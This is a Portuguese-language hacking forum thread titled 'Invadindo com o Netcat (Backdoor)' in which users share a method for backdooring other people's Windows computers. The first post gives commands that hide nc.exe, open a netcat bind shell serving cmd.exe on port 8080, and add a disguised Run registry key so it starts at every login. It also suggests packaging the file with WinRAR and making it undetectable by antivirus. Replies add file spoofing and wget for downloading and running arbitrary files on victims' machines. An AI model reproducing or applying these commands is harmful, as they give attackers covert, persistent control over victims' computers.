Dica Invadindo com o Netcat (Backdoor)

[dwango]

Já tem um tópico aqui no fórum a respeito disso do Bhior, mas ele utiliza outras ferramentas (MSF) etc. Quem quiser conferir:

Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...

Então se pode aprender outro método

$~

Vamos precisar basicamente de duas ferramentas, NetCat - logicamente - e o Winrar. Imagens abaixo:











COMANDOS

%homedrive%%homepath%\system32sys
nc.exe -vv -d -L -p 8080 -e cmd.exe
%windir%\system32\cmd /c reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "iexplorer" /t REG_SZ /d "%homedrive%%homepath%\System32sys\nc.exe -vv -d -L -p 8080 -e cmd.exe" /f > nul

Métodos para deixar FUD? Se vira. Happy hacking

P.S: Coloquei um título alternativo devido a l4mmers q acessam o fórum, então chama mais atenção riarairia, mas não é bem por ai...

[sn3f4]

Bacana dwango.

Também esse metodo pode ajudar o pessoal, file spoofing \/

Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...

OBS: Winrar está na v5.0.1

[dwango]

Edit: A ordem dos comandos da 4º imagem está trocada

[Ghost3r]

trocada? como assim

os comandos de cima vai para baixo e virse versa?

[dwango]

Exatamente

[probr]

Vou dar uma dica pros hackudos

Bom a um tempo atras eu fazia isto, até que um dia me deparei com wget para windows!

Mais probr o que seria WGET?
Wget
Origem: Wikipédia, a enciclopédia livre.
GNU Wget é um programa livre que propicia o download de dados da web. É parte do projeto GNU. Seu nome deriva de World Wide Web e get. Ele suporta os protocolos a HTTP, HTTPS e FTP.

Escrito em C, Wget pode facilmente ser instalado em qualquer sistema Unix-like e já foi portado para diversos ambientes como Microsoft Windows1 e OpenVMS.2

Entre suas capacidades, se encontram:

Download recursivo em FTP ou HTTP (pode inclusive ser usado para fazer um mirror de um website)
Conversão de links para visualização offline de páginas HTML
Suporte a proxy
Robustez em relação a conexões instáveis (em caso de falha no download, ele automaticamente recomeça de onde terminou)
Capacidade de ser executado sem intervenção do usuário, podendo ser usado com o nohup
Portabilidade
Suporte a IPv6
Suporte a SSL/TLS
Suporte a arquivos grandes (maiores que 2 GB)
Suporte a limite de velocidade para o download (com o objetivo de não interferir muito nos outros usos da conexão)

-------------------------------------------------------------------------------------------------------------

Ele não tem interface gráfica ou seja é por console, então se você colocar junto os dois você vai ter acesso a baixar(WGET) e executar(NETCAT/cmd da vitima) o que quiser no computador!

Bom não vou postar tutorial, mas vocês já devem ter uma boa ideia de como fazer


Se te ajudou agradeça